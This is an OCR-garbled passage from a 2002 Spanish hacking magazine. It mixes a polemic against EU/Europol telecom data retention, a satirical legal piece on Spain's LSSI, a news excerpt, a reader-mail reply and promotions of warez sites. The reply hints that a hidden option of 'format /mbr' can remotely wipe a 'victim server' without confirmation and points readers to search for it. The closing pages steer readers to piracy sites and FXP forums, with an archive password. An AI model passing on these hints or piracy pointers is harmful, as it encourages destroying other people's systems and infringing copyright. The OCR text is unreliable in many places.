esperpentica.

El 30 de mayo de 2002, el Parlamento de la Union Europea decidia, en
discrepancia con la directiva sobre proteccion de datos de 1997 y
desestimando las recomendaciones del Comité para los derechos civiles
del propio Parlamento, APROBAR el almacenamiento de datos de todas
nuestras conexiones telematicas (teléefono, movil, fax, Chat, Internet) sin
que existan pruebas de delito.

Sefiores, esto ya es demasiado!!! No puedo evitar publicar el Listado Completo de las exigencias
de la EUROPOL respecto al intento de controlar “con pufio de hierro” nuestras conexiones
(documento filtrado y validado)

Lista de pretensiones de la Europol

Lista de datos minimos a ser retenidos por Proveedores de Servicio y Operadoras
Datos que deben ser retenidos por los Proveedores de Servicio

1. Red:

(NAS) Logs de acceso especifico para la autentificacion y _
autorizacion en servidores como TACACS+ (Terminal Access | Comentario
Controller Access Control System) 6 RADIUS (Remote ﬁilfm"z“r”;‘f
Authentication Dial in User Service) utilizados para el control -
del acceso a routers IP o servidores de acceso a redes.

A) Lista Minima:

Fecha y hora de conexion del cliente al servidor.

Identificacion de usuario y contrasefia.

Direccién IP asignada al NAS.

Almacenamiento relacionado a la direccion IP.

Numero de caracteres transmitidos y recibidos.

Identificacion del numero de teléfono que efectua la llamada(CLI).
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B) Lista Opcional:
. Numero de la tarjeta de crédito del usuario / nimero de cuenta bancaria
en que se efectia el pago.

2. Servidores de correo electronico:

Correo saliente: SMTP (Simple Mail Transfer Protocol) Comentario
de los estados

miembros.

Lista minima:

Fecha y hora de conexion del cliente al servidor.
Direccién IP del ordenador que envia.
Identificador del mensaje (msgid).

Remitente (usuario@dominio).

Receptor (usuario@dominio).

Indicador de estado.

Correo entrante: Log del POP (Post Office Protocol) o del [ Comenario

IMAP (Internet Message Access Protocol). delos estados
miembros.

Lista Minima:

. Fecha y hora de la conexion del cliente al servidor.

Direccion IP del cliente conectado al servidor.

Identificador del usuario.

En algunos casos, informacion de identificacion del correo leido.

3. Subida y bajada de ficheros a servidores:

Log de FTP (File Transfer Protocol). gﬁ%
miembros.
A) Lista Minima:
. Fecha y hora de conexion del cliente al servidor.
. Direccion IP de origen.
. Usuario y contrasefia.
. Path y nombre de fichero del objeto de datos subido o bajado.

4. Servidores Web

Log de HTTP (HyperText Transfer Protocol) oo
de los estados
A) Lista Minima: miembros.
. Fecha y hora de conexion del cliente al servidor.
. Direccion IP de origen.
. Operacion (p.e. comando GET).
. Path de la operacion (para obtener una pagina html o un fichero de
imagen).
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. Las empresas que ofrecen servicios de alojamiento de paginas Web deben
retener detalles de los usuarios que insertan dichas paginas (fecha, hora,
IP, identificador de usuario, etc.).

B) Lista Opcional:
. "Ultima pagina visitada".
. Codigos de respuesta.
5. Usenet
Log de NNTP (Network News Transfer Protocol) ge"l':se"t“’;"
. . miembros.
Lista Minima:
. Fecha y hora de conexion del cliente al servidor.
. ID del proceso de protocolo (nnrpd[NNN...NJ).
. Nombre del host o0 Hostname (Nombre del DNS que asigna la IP
dinamica).
. Actividad basica del cliente (sin contenido).
. Identificador ID del mensaje enviado.

6. IRC (Internet relay Chat)

Log de IRC
A) Lista Minima:
. Fecha y hora de conexion del cliente al servidor.
. Duracion de la sesion.
. Alias (Nick) utilizado durante la conexion al IRC.
. Host y/o direccion IP.
B) Lista Opcional:
. Copia del contrato.
. Cuenta bancaria / tarjeta de crédito para el pago.

7. Datos que debgn ser retenidos por las compaiiias telefonicas para
los usuarios de numeros fijos

A) Lista Minima:

. Numero llamado aunque no se establezca la comunicacion.

. Numero llamante aunque no se establezca la comunicacion.

. Fecha y hora de inicio y fin de la comunicacion.

. Tipo de comunicacion (entrante, saliente, redireccion, llamada entre

varios).

o En el caso de llamada entre varios o redireccion de llamadas, todos los
numeros intermedios.

. Informacién tanto del cliente (abonado) como del usuario (nombre, fecha

de nacimiento, direccidn).
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. Ambas fechas (comienzo y fin) desde que se dio de alta como cliente
hasta su baja como tal.

o Tipo de conexion del usuario (normal, RDSI, ADSL etc., y si es para
enviar y recibir llamadas o sélo para recibir).

. El numero llamado.

La fecha y hora de la llamada.
Numero de la cuenta bancaria u otros medios de pago.

B) Lista Opcional:

. Copia del contrato.

. Para unos mejores propdsitos de investigacion las Operadoras deben
poder conocer la naturaleza de la comunicacion: voz/mddem/fax etc.

8. Datos que c!eben ser yegenidos, por Igs_ operadoras telefonicas para
usuarios de numeros moviles y via satelite.

A) Lista Minima:

. Numero llamado aunque no se establezca la comunicacion.

. Numero llamante aunque no se establezca la comunicacion.

. Fecha y hora de inicio y fin de la comunicacion.

. Tipo de comunicacién (entrante, saliente, redireccion, llamada entre

varios).

. Informacion tanto del cliente (abonado) como del usuario (nombre, fecha
de nacimiento, direccion).

o Numeros IMSI e IMEI.

. Direccion donde se envia la factura.

Ambas fechas (comienzo y fin) desde que se dio de alta como cliente
hasta su baja como tal.

La identificacion del aparato del usuario.

La identificacidn y localizacion geografica de los nodos que han sido
usados para enlazar a los usuarios finales (llamador y llamado) a través
de la red de telecomunicaciones.

. Localizacién geografica (coordenadas) de la estacion terrestre de conexion
a satélite.

. Tipo de conexion del usuario (normal, RDSI, ADSL etc., y si es para
enviar y recibir llamadas o sélo para recibir).

. Servicio WAP.

. Servicio SMS (fecha y hora entrante y saliente y numero de teléfono).

. Servicio GPRS.

o En el caso de llamada entre varios o redireccion de llamadas, todos los

nimeros intermedios.

El numero llamado.

La fecha y hora de la llamada.

Numero de la cuenta bancaria u otros medios de pago.

Todo GPRS y UMTS en Internet , asi como todos los datos arriba
mencionados (como la direccion IP) deben ser retenidos.
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B) Lista Opcional:
. Copia del contrato.
. Para unos mejores propdsitos de investigacion las Operadoras deben

poder conocer la naturaleza de la comunicacion: voz/mdédem/fax etc.

9. Formato de los Numeros

Todos los ntimeros de teléfono (Tanto para proveedores como para operadoras)
deben estar compuestos de:

Numero del pais.

Numero de area.

Numero del abonado.

Toda la informacién en codigo ASCII separada por tabuladores y saltos
de linea puesto que algunos servicios permiten a los usuarios conectarse
a un ISP extranjero a través de un nimero nacional gratuito, también la
estructura de dicho nimero es requerida.

10. Sincronizacion horaria

Operadoras de telecomunicaciones, proveedores de acceso a [~ Comentario
Internet y proveedores de servicios de Internet tienen que delos estados
sincronizar sus servicios con un servidor de hora de sus paises. |_miembros.

Las intenciones de los “mandatarios europeos” quedan mas que claras después de echarle un
vistazo a la “lista de exigencias”. Como consecuencia, diversos colectivos se han puesto “en
pie de guerra” y ha empezado una batalla que decidira el futuro que deseamos para nuestro
pais y, en definitiva, para los integrantes de la Comunidad Europea.

COMO AYUDAR:
En Espaia se han abierto diversos frentes para recopilar firmas en contra de este “sin-sentido”,
podemos encontrar informacién, por ejemplo en www.criptdpolis.com, pero si queréis colaborar
0s recomiendo

http://stop1984.com/index2.php?text=letter.txt
En 5 segundos este enlace os permitira afadir vuestra “firma” a las ya mas de 16000 existentes.
SON SOLO 5 SEGUNDQS, DEFIENDE TUS DERECHOS!!

SITUACION ACTUAL:

Espafia es, gracias al ejecutivo de Aznar, LIDER indiscutible en la iniciativa “anti-derechos-
constitucionales-de-la-red”. Empezo con la LSSI y ha acabado siendo uno de los “portadores”
al Parlamento Europeo de la retorcida esencia de la LSSI Espaiola.
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Fuente: www.kriptopolis.com
LSSI: ;Como nos afecta?

Por Javier A. Maestre

Abogado

Un dia le vendra un hombre con gabardina y le preguntara:

- Oiga, usted tiene pagina Web jno?

- Pues, si, me la hizo el aflo pasado mi hijo y a la gente del pueblo le gusta.
- Bien, me enseiia el certificado de inscripcion del nombre de dominio que usa en el

registro donde se encuentra inscrito para fines de publicidad o para adquirir su
personalidad juridica.

- Eiiiin, espere que viene mi hijo y le explica que yo de estas cosas no entiendo.

- Nosotros -dice el hijo- no tenemos nombre de dominio, estamos alojados en el dominio
que registro el "Juanca" y nuestra direcciéon es "tienda.tafiabueyes.com".

- Falta de notificacion del de dominio propio en una Web para la realizacion de una
actividad economica, infraccion leve Art. 45.4.a) LSSI. Pero, ;jestard inscrito en algun
registro, aunque sea a fines publicitarios?

- Pues, no sé, ;si le vale el folleto de las fiestas del pueblo?

- En algun registro serio debera Usted estar inscrito, y deberia saber cual es. Bien,
(Qué informacion suministra en la Web sobre su establecimiento?

- El correo electronico nada mas, todo el mundo sabe dénde estamos.

- Incumplimiento de lo establecido en las letras a) y f) del articulo 10.1. Infraccion
grave, Art. 45.3.a) LSSI. Bien, ;en qué condiciones efectiia usted las comunicaciones
comerciales?

- Bueno, cuando me llega una novedad de la capital, mando un correillo a los que puedan
estar interesados.

- Vaya, incumplimiento de lo previsto en el articulo 20 para las comunicaciones
comerciales, ofertas promocionales y concursos. Infraccion leve, Art. 45.4.d). Denuncia
a la Agencia de Proteccion de datos. ; Han prestado esas personas su consentimiento
para la remision de los mensajes? ;Cuantos mensajes les ha remitido en el ultimo aiio?

- Hombre, pedir consentimiento como tal, no lo he hecho, pero nunca se me han quejado.
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En cuanto a la otra pregunta, calculo que en el tltimo afio les habré enviado unos cuatro
0 cinco mensajes.

- El envio, en el plazo de un ario, de mdas de tres comunicaciones comerciales por correo
electronico u otro medio de comunicacion electronica equivalente a los destinatarios
que no hayan autorizado su remision. Infraccion grave, Art. 45.3.b). ;Realiza Ud.
transacciones o contratos a través de la Red?

- Bueno, no sé, la Mariana lleva unos dias pachucha, no sale de casa. Su nieto le ha
enseflado a manejar el correo, me hace el pedido por Internet y luego por la tarde el
chico le lleva la compra.

- En fin, no proporcionar al destinatario del servicio, por medios electronicos, las
condiciones generales a que, en su caso, se sujete el contrato, en la forma prevista en
el articulo 28. Infraccion grave Art. 45.3.c). ;Confirma usted la aceptacion de la compra
o0 ha pactado su exclusion en el contrato con el consumidor?

- Eeeh, bueno, yo pongo en el pedido lo que ella me pide en el correo, pero nunca ha
habido ningtin problema.

- El incumplimiento habitual de la obligacion de confirmar la recepcion de una
aceptacion, cuando no se haya pactado su exclusion o el contrato se haya celebrado
con un consumidor, infraccion grave, Art. 45.3.d).

Me parece que por hoy ya esta bien, ya volveré otro dia para hacer una inspeccion mds
a fondo, de conformidad con lo establecido en el articulo 42 de la LSSI. Sepa usted
que, conforme a este precepto, tengo la consideracion de autoridad publica, igual que
un Inspector de Hacienda. Debe usted tener cuidado con su negocio, parece mentira
que sea prestador de Servicios de la Sociedad de la Informacion:

Dos infracciones leves, sancion minima de 3.000 Euros por cada una. Total
6.000 Euros.

Cuatro infracciones graves, sancion minima de 90.001 Euros por cada una.
Total  360.004 Euros.

En total, aunque es un ejercicio de Derecho ficcion, afortunadamente, la escalofriante
cifra de 60.897.276 pesetas, duro arriba o abajo, de las del afio 2001. Vamos, para matar

al chaval que puso la Web. No, si ya lo decia el abuelo, esto de Internet es cosa del
diablo...

Javier A. Maestre es abogado y dirige actualmente dominiuris.com , desde
su creacién en 1997. Es autor del libro que acaba de publicar con el titulo

"El derecho al Nombre de Dominio".
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NO ESTA TODO PERDIDO:

Gracias a la oposicién generalizada (asociaciones de internautas, empresas
digitales, organismos de defensa de los derechos del consumidor, etc.) se ha
conseguido un cambio (aunque pequeio) :)

ELPAIS
Viernes, 14 de junio de 2002

El PP da marcha atras en su intento de facilitar a la policia los datos de los
internautas

R. MENDEZ | Madrid

Hasta ayer, el Partido Popular proponia que los operadores y proveedores de
acceso a una red de telecomunicaciones debian 'retener los datos de trafico
durante 12 meses' y que los servidores tenian que poner los datos a disposicién
'de las autoridades judiciales o policiales en el marco de una investigacion'. Sin
embargo, cuando la Ley de Servicios de la Sociedad de la Informacién (LSSI)
estaba a punto de culminar el antepenultimo tramite parlamentario, el PP dio
marcha atras y limito el acceso a los datos de navegacion a los jueces vy fiscales.

Fue en la Comisién de Ciencia y Tecnologia del Senado, que debatia la ponencia
sobre la LSSI. El miércoles que viene se vota en el Senado antes de su definitiva
aprobacion en el Congreso.

Instantes antes de la votacion, el presidente de la Comisidn, de Coalicion Canaria
(CC), solicitd un receso para introducir las modificaciones del PP. Era el punto
mas polémico de la LSSI. 'Va contra la Constitucion y lo van a tener que cambiar
antes del pleno', pronosticd segundos antes Félix Lavilla, portavoz del PSOE en
la comision. Asi fue. En folios aparte, el PP, con el apoyo de CiU y CC, introdujo
13 enmiendas (ocho del PP y cinco pactadas con CiU). Una de ellas cambiaba
sustancialmente el punto.

LOS CUADERNOS DE HACKXCRACK -- NUMERO 2




Cambio de planes

El nuevo texto asegura que los datos deberan ponerse a disposicion de los jueces o
del ministerio fiscal cuando lo requieran. No hace mencion a la policia. También asegura
que 'en ninglin caso la obligacion de la retencién afectara al secreto de las comunicaciones'.
Y que solo se deberan retener los datos imprescindibles para identificar el origen de
los datos alojados y el momento en que empezd la comunicacidn.

Sin embargo, en la enmienda presentada el 6 de junio, el PP se referia a la retencion
de 'los datos de las transmisiones electrdnicas (tales como el numero de identificacion
de los equipos de origen y destinatarios de la comunicacion, tiempo de duracion de
la conexidn, volumen de datos transmitidos...)'. Instantes antes de la supresion del
articulo, la portavoz del PP en la comision, Lucia Delgado, seguia defendiendo la
enmienda: 'Solo pedimos el punto de acceso y cuando conectd. Asi podremos perseguir
a un pederasta que se introduce en el Chat de ninos'.

Asi, la nueva ponencia, después de minutos de discusiones sobre la validez de introducir
enmiendas en el texto antes del pleno, confusion en las votaciones y consultas al
Reglamento del Senado, fue aprobado con los votos de PP, CiU y CC. La ponencia,
pues, supero los seis vetos presentados.

Lavilla compard la intencién del PP de guardar los datos con un 'Gran Hermano alentado
desde Interior en el que todo se escucha aunque en Espafia sdlo hay 27 policias
dedicados a delitos en Internet'. El miércoles, los proveedores de acceso a Internet
se quejaron de los costes que les supondra almacenar los datos un afio.

EN RESUMEN:

El ejecutivo del gobierno intenta introducir la LSSI en Espafia y por extension
da su soporte a similar iniciativa en el Parlamento Europeo.
En el Parlamento Europeo parece que nadie esta por la tarea de defender los
minimos derechos de libertad de los ciudadanos y estan dando luz verde a esta
inquisitiva Propuesta.

Sélo TU, junto a otros muchos miles de personas puedes/podemos hacer frente
a tan desquiciada Ley. En http://stop1984.com/index2.php?text=letter.txt podras
expresar tu disconformidad en 5 segundos.
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PARA QUIEN CREA QUE ESTO SOLO AFECTA A LOS “PIRATAS”

Primero lee de nuevo el texto de Javier A. Maestre y si te queda alguna duda, ahora
te la aclaramos.

* Sobre la intimidad: Desde ahora los ISPs (tu Proveedor de Internet) sabra cuantas
veces te conectas a tu BANCO y qué WEBSs visitas asi como cuanto compras y qué
temas te interesan. Por supuesto también cuantos MAILS envias y a quién asi como
qué GRUPOS DE NOTICIAS (NEWS) frecuentas y qué canales de CHAT utilizas.

* Sobre la Seguridad: Si estos datos deben guardarlos los ISPs (tal como se propone),
digamos que... bueno... es muy suculento éverdad?... ummm... ummm... {cuantos
hackers y no tan hackers intentaran y conseguiran acceder a dichos datos? éQué
oscuros intereses comerciales pueden surgir entorno a esos datos? Piensa una cosa,
no hay caja fuerte que no pueda abrirse... éte gustaria que tus datos bancarios saliesen
a la luz?... ¢y el miedo a la compra por Internet? Si Europa es reticente a la compra
por Internet, imagina el MAZAZO contra esta practica si la “propuesta” acaba en “LEY”,
imagina los jugosos DATOS que guardaria tu ISP de TI.

* Sobre la Tecnologia: Actualmente la puesta en marcha de estas medidas de control
tan absolutamente descomunales significaria la QUIEBRA INMEDIATA de miles de ISPs
de tamano pequeno y medio, solo “los grandes” podrian hacer frente al gasto que
significa implantar “el sistema”. Bueno, eso es un decir, porque “los grandes” ya han
empezado a librar su propia batalla en contra de esta Propuesta alegando que ni
siquiera ellos podran hacer frente a tan terrible gasto si no es con subvenciones
estatales... ¢COmMoO?... éTenemos que pagar ahora a nuestros espias? Pues eso parece,
podria llegar el caso en que tengamos que pagar con nuestros impuestos a nuestros
verdugos... ¢Como es posible que se llegue a esto? ¢Se ha perdido el juicio en el
Parlamento Europeo?

FINALIZANDO

No entiendo nada. Es absolutamente demencial. Solo puedo ver dos explicaciones y
a saber cual es la peor. O en Europa nuestros representantes (los representantes de
los ciudadanos europeos) son verdaderos ignorantes respecto a todo lo que huele a
Internet o realmente saben MUY BIEN lo que hacen y simplemente estan promoviendo
unas bases sobre las cuales “dominarlo todo y a todos” al mas puro estilo “El Gran
Hermano”.

P.D. Siento haberme extendido tanto en esta “FLECHA ACIDA”, pero HOY se esta
decidiendo nuestro futuro en todo lo referente a Internet... y es una guerra que estamos
perdiendo los “europeos de a pie”. Quizas futuras generaciones nos recriminen lo
sumisos que fuimos HOY... y... ¢Qué podremos decir al respecto?... NADA, TENDREMOS
QUE AGACHAR LA CABEZA AVERGONZADOS Y MURMURAR EN VOZ BAJA: FUE EL
EFECTO 11-S, fue el efecto 11-S, fue el efecto 11-S, fueel 115... ... ...
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En esta seccidn nuestro director respondera, personalmente, a aquellos temas que han
provocado indignacion entre nuestros lectores.

Mail recibido:

Hola,
La idea y el contenido de la revista MUY BIEN.
Lo que me ha jodido de verdad:

- Las putas faltas de ortografia que hay a lo largo y ancho de la
revista ( una falta de respeto al que lee, amén de una pérdida de
tiempo insufrible intentando descifrar el significado de una palabra).

- Que, siguiendo vuestra indicaciones, vaya a bajarme el serv-u y me
encuentre con el "simpatico" mensaje de "EN CONSTRUCCION". ;Cofio!, si
no teniais la web preparada, haber esperado un par de semanas a sacar
la revista, porque la verdad es que la decepcidén ha sido grande
(evidentemente, ya me he buscado la vida por otro lado para conseguir
el programa, pero la sensacidén de "cutrerio e improvisacién ha sido
muy grande) .

- Entiendo que no es féacil sacar adelante una publicacidén (y més si
hay que coordinarla con contenidos online) pero, por favor, intentad
afinar mas.

Saludos, y hasta la prdéxima flecha

Ket

PS: dado que comparto plenamente la creencia que para saber lo que hay

que hacer primero es sudar, agradeceria que incluyerais bibliografia
(y dénde conseguirla gratis si es posible).

Vamos por partes:

- Respecto a la Idea y Contenido: Esto ha sido un tdpico, casi todos los
Mails hacian referencia a lo bueno de los contenidos y la forma de explicarlo,
cosa que nos alegra enormemente porque esa era nuestra primera meta, ser
capaces de transmitir conocimientos incluso a aquellos que creen que esto de
informatica es muy complicado. Tenemos un mail de un chaval de 12 anos que
dice haber entendido (casi todo) y practicado el contenido de la revista... eso
no me lo esperaba.

La otra cara de la moneda es lo CUTRE de la revista. Pues por ahora no tenemos
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recursos para mas, pero dentro de nuestras posibilidades intentaremos mejorar.
Os lo explicamos mejor en las paginas de titulo "ADVERTENCIA: NO CONTINUES
LEYENDO SIN LEER ESTA PAGINA” y “EDITORIAL: MUCHO QUE DECIR”

- Las faltas de ortografia: Bueno, pues debo decir que somos horribles
respecto a este tema, tienes toda la razén e intentaremos mejorar dia a dia,
PERO os contaré un secreto, la revista salio a la calle con una version de los
textos que no se corresponde con sus versiones finales. Lamentablemente
entregamos a la imprenta dos pares de CDs con una semana de diferencia entre
ellos y acabaron imprimiéndose los primeros en lugar de los segundos. Lo peor
de todo es que nosotros dimos el visto bueno creyendo que todo era correcto:
La inexperiencia SE PAGA!!!

M

a L%

1

Por eso hemos puesto en nuestra Web, a disposicion de TODOS, la version que
deberia haber visto la luz: Hack x Crack Nimero 1 (en formato PDF). Las
diferencias no son demasiadas y seguro que siguen conteniendo innumerables
faltas, pero hay variaciones en algunas frases explicativas que SEGURO aclararan
puntos interesantes. Ya ves que no escondemos nada, si hos equivocamos,
pues lo decimos, asi somos y esperamos no cambiar nunca.

- Respecto al archivo del Serv-U, indicamos una Web para descargarlo que
no es la nuestra, pero no importa, tienes razén en que deberia estar en nuestra
Web y bien a la vista. Asi que, trabajaremos (y muy duro) para que estas cosas
no se repitan.

- Bibliografia: Ummm... Este es un tema muy complicado. Bibliografia de
informatica hay mucha, pero supongo que te refieres a bibliografia de Hacking.

Bueno, pues bibliografia de Hacking hay suficiente, lo malo es que no sera lo
que tu esperas. Cualquier Web que te hable de seguridad informatica es una
Web de Hacking, incluida la informacion de la propia Microsoft pone a disposicion
de sus “clientes” respecto a los frecuentes Bugs y sus respectivos parches.

En resumen, que manuales de como hackear un servidor con tal o cual Bug NO
EXISTEN como tales, sino que debes unir tus conocimientos de informatica con
las informaciones de los portales de seguridad, algunas Webs donde se habla
del tema, muchos Foros donde entablas largas amistades con otros investigadores
y algun que otro canal de Chat abierto temporalmente para tratar temas muy
concretos --estos canales duran abiertos unas pocas horas y solo asisten los
expresamente invitados--.

Los colaboradores de esta publicacién hace afios que nos movemos e investigamos
estos temas, la escalada de directorios y el CODE/DECODE hace anos que son
explotados de una forma u otra dependiendo de lo mal que implementan los
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programadores tal o cual sistema normalizado. Por eso no puedo decirte ves
a tal o cual Web y encontraras todo lo necesario, simplemente, no existe ninguna
que tenga textos como los que nosotros hemos redactado.

Para que nadie se enfade te recomendamos, por ejemplo, HACKERS 3, de
McGraw-Hill Osborne Media --uno de los pocos libros serios editados al respecto-
-, los RFCs de los distintos protocolos y... pero seguro que no es exactamente
lo que buscas.

Haremos una cosa, en nuestra Web iremos poniendo textos gratuitos y publicos
gue se acerquen a nuestra filosofia y, a partir de ahora, pondremos en cada
articulo referencias a documentacion relacionada con el tema tratado. Pero
piensa que muchos de nuestros textos no estan basados mas que en nuestro
conocimiento y nuestra experiencia, por lo que sera imposible referenciarlo a
una posible bibliografia. Supongo que es dificil de aceptar, pero esto es asi, te
lo aseguro.

Sdlo una referencia para que esto se entienda. Muchos de los codigos, exploits
e incluso conocidisimos programas como el netcat DEBEN ser modificados y
recompilados incluyendo ciertas opciones -- muchas veces ocultas -- para obtener
los resultados deseados. E incluso los programas tienen opciones NO
DOCUMENTADAS por el fabricante que sélo descubrirds a base de “tener
contactos”. Un ejemplo sencillisimo es por ejemplo la conocidisima opcién
format /mbr, todos sabemos lo que implica pero no la encontraras documentada
por Microsoft. Y si te digo que afiadiendo una opcidon mas a este comando y
ejecutandola por remoto puedes formatear un Servidor-Victima sin que el sistema
tan siquiera muestre el tipico recuadro de confirmacion, es para poner los pelos
de punta a cualquiera.

Finalizando: La mejor bibliografia es www.google.com, éno te lo crees?... Pues
busca format /mbr y no tardaras en saber como formatear un disco sin que te
pregunte por la confirmacion ;)

Un saludo!!!

LOS CUADERNOS DE HACKXCRACK -- NUMERO 2 rag - 5 7




AL DESCUBIERTO:

LA WEB DE MOCOSOFT

WWW.MOCOSOFT.COM

Parece mentira que existan personas
gque no conozcan esta Web. Venga,
visitadla que vale la pena ;)

Y FELIZ DESCARGA!!
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BIENVENIDO A MOCOSOFT

ATENCION

Lee detenidamente esta pagina si quieres entrar en la web, Si te saltas esta paginay no la lees, puedes ser castigado por Ia ley por delitos de pirateria y
fraude.

-Este lugares prvado y de accesa restringido y por ell s encuentra bajo oz derechos y |a proteccidn que & estos lugares las leyes de nusstr pais, el Ordznamiento
Juridico Internacianaly el el Internet Privacy Act dispensan, n pudigndose entender que acaptamas la ibre entrada

-Toda la infarmacidn y programas aqui recagidos van destinados al efectivo cumplimiento de los derechos recogidos en el articulo 31 RO/ 111996 por el que se apruebacl

texto refundido d2/a Ley d 1a Propiedad Intelectual {LP) en especial referencia al ariculo 31.2 LRI,y en concardancia con lo exprasado en el articulo 100.2 de esta misma
ley
-Todo los inks de esta vieb han sida exclusivamente sacados de sttios publicos de Infemet, por o este matenal es cansiderado de ibre distribucian. En ningdn articulo legal
s menciona|a proibicion de material ibre porlo que esta pagina nainfinge en nigin caso 2 ley
- Cuglquier persona con un programaljueqo onginal tien derech a realizar una copia de sequridad de dicho sofware para uso personal, en ningin caso infiges [a ley ite
hacas una capia de saguridad de tu software original. Esta pagina solo faciita dichas copias de sequridad. Ayudar al usuario no es delit
-Enningun caso esta pagina apoya la pirateria, &3 més, la rechaza fontalmente.

- i pretendes uilizar esta web y sumaterial como epicentro de tus actos licitos e legales, te equivocas de lugar, y todo mal acto que hagas sera respansabiidad tuya y en
mingin casa de los webmasters - Nos resenamas el derecho de vetar la entrada a cualquier sujet anuestra web-site  a su vez 5e resenva el derecha de prohibir ¢ uso de
cualquier programa yia informacidn, en cancordancia can los derechos de autor oforgados por el articulo 14 LPY
- Sl entu pais, este ipo de pagina esta prohibida, TU y s0lo TU eres &l culpable de esto. Si sabes que no puedss na entres

Pulsando en "acepto” significa
Que has leido, comprendes y aceptas
todos los terminos de esta pagina.

‘&_ﬂ Mocosaft, Hospedado en IsizTartuga.com r@_‘ﬁ Inemet
#ico| | ol € & * HSVDM 0 810 0 O [ MocoSot - Mi. £ United Docun.. «JBAS 646
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3 MocoSoft - Microsoft Intemet Explorer

Archivo Edicidn Ver Favortos Herramientzs  Ayuda
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Direccion | ] itp:www.mocosoft.com)

| Seloccionavideo SIS
para descargar: M

M o mercado!

Cj

a programa shareware estan aqu, Muy iti, s

mad 8’ MotherBoard Monstor 5.1.9.1 1.54M

Monitoriza la temperatura del procesador y placa bace, asi como voltajes, velocidad de
ventiadores, atc. Capaz de acceder a uno o mas de los siguinetes chips: LM75, LN7B, LM78-j,
"y : LM79, LM80, WinBond W837810, WinBond WA37820, WinBond W837835
Aadir a favoritos!!! P ' ’ '

El meior juege? WinBand W83627HF, Asus AS99127F, GL5185M, GLS205M, ADM3240,
10T Juego: ADMA021, ADMA20, MAX1016, MAX10163, FMS2701, 46864, THMCL0y THMCSD.
USAR ICQ

Glebones PHP 430 Alpha with Zend Fngine 2 3.93M
PHP es un lenquaje de script muy extendido hoy en dia por Internet, dado que esta
especialmente desarrollado para la Web y puede ser incrustado en el HTML. Mucha de su
sinfaxis ha sido tomada de C, Java y Perl, La mefa de este lenguaje es permitir a los
desarroladores generar paginas dinamicas rapidamente. PHP es un proyecto de [a fundacidn de
software Apache.

Hazla tu pagina de
nicio

LA POTENCIA
DETU DIESEL 3D max para Windows is el programa mudelador 3[], ammadurywsuahzadurfu ografico a nivel
profesional mds vendido en el mundo. Espedial para la creacidn de efactos visuales,
Cenyidores animacidn de personjes y desarrallo de juegos de dtima generacidn. 30 max provee una muy
completa plataforma para el desarrollo 30 y una nueva visualizacidn fotografica interactiva

A de afta velocidad. Es completamente personalizable y con arquitectura extendida para una

XXXXXXXXXXXX absoluta libertad artistica. No € cuanto duraran los enlaces, asi que descargadho pronto.
Multimedia También necesitis descargar ESTO.,

Ch‘TraM:‘lrs!!!! . La contrasefia para descomprimir es: Lulas
icas Mocoso!

C“’:mat‘:'““ Apareaca viswal del LONGHORN 0.98M
acacn o Sera nuevo sistema operativo de Mocosaft a finales del 2003, Necesitdis StyleXP.

g AHORRATE UNA PASTA
EN CADA DEPOSITO

&| Mocosaft, Hospedado en SaTortuga.com ‘% i Internet
#/Tnicio| wl &) & ” MSVDM 0 @@ © O ||#)MocoSoft - Mi... € Untited Docum... | RV
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AL DESCUBIERTO:

LAWEB DE WAREZSTUFF

www.warezstuff.da.ru

Del mismo estilo Mocosof, de reciente
creacion y con mucho Warez
esperandote.

Y FELIZ DESCARGA!!
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Ultmas actualizaciones

Estadisticas visitas: f
Li\'TFRF.:iﬁ AUTOARIMENTARA
PC D] Red 2.8ME ingles

Camouflage 1.21 2.6ME inglas

Daemon Tools 3,16 394KB ingles
RED TOTAL -

Poster 7.6 1.5MB ingles

Ailiados Votanas

l I Adobe Dimesions 3.0 8V ingles

CRACKS FlashFXP v2.0 RC1 B.860 566KB ingles

- yff ST Empire Earth 372MB ingles
T,W SITES :

Web optimizada para resaluciones de
800600 con Interet Explorer 6.0

ww.da.re

€| programas lisos para bajar ;) ** warezstuff ** El almacen del warez, the warez store. Todo el warez lo tienes aqui, nodrﬁ’_ ¥ intemet
nicio| | W ] & * MSVOM 0 0@ © O | E)untt. | EXnty.. | Ware.. @Linkw... k.| <M 48 653
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AL DESCUBIERTO:

LA WEB DE HARDEXTREME
www.hardextreme.org

Oculto en esta Web esta uno de los
mejores Foros de FXP que existen en
La Red. Pica sobre FOROS (en el menu
de la Izquierda) e intenta ser admitido

entre sus miembros.

Si querias introducirte en los grupos de
FXP, este es uno de los mejores :)

Suerte en tu intento!!!
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Latests Reviews

Sony Walkman - "NW-MS9' Converter - "PlayStation to USB"

"Walkman, this word sounds surely famiiar 'If you own a Play Station or Play Station 2
to many people. Many decades ago, Sony and a PC, I can assure that there is one
introduced a portable cassette player and  thing that you always wanted to do: plug the
gave it the name "Walkman". It has bacome  Play Station's joystick into the PC. And now
popular since then. Nowadays, the your dream may come true with what I am
Walkman is no longer cassette only; there going to test today, a Play Station to USB
are D Walkman ..." port adapter or converter.”

MSI 845E Max2-BLR

Posted by at 10:47 of Monday 8, July, 2002

Plus,

IFI'E.E MSI 845E Max2-BLR - Pentium 4 motherboards have always been lacking when compared to

Sh|pp|ng! their Athlon counterparts when it came to packing in the features. Well folks, that's
Rescions gy changing, and MSI has one Pentium 4 board that is certainly worth checking out.

dickherel 97

(& | http://setiathome. sl berkeley. edu/cgi-bin/cqifemd=team \ookup&ﬂame:Hard+Ext.ren ne<Argenting ’_’_’_ Infernet
#/Tnicio| | &) & *[WVOM ) 00 0 0 | m|| MD| & Hard... mm| mw|«!mu3ﬂbﬂ
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A EXTrEmE BoArD - powered by vBulletin - Microsoft Internet Explorer

frchivo Edididn Ver Favoritos  Herramientas  Ayuda

b fwowow. hardextreme.org board/

*#2 E-Donkey <<

Forum Posts Threads Last Post Moderator

Aonz 07-08-2002 15:57
PP . 361 by Ganguijuela E] "M

Nothing to axplain 1)

07-08-2002 20:39
Ganez 642 vk 1

Lookinf for the latest games?

DivX & Music 084 e
Movies .., Mp3 .. Etc by scraggle M

=3 Public FxP <<

Forum Posts Threads Last Post Moderator

Warez Speakmg . 144 07-06 hiﬂlsfdlz M M

Chat about anything related vith varaz,
Games Pc 82694 07-09-2002 00:04 1y 1t
Pubs vith 150 or RIPs by kwanko 8 M

Console Gamez 07-08-2002 14:08 3] 1
1101 by jubiit0 R i |

Conzole Games on Pubs

Mp3'z (Public & Private FTP's) 25406 07-03-2002 22:21 fg) 1+
Hera arz the Mp3'z by dks E] f M

Appz (Public & Private FTP's) 0753 07-05-2002 00:05 1)
Pubs vith Appz by Bandit24 © .

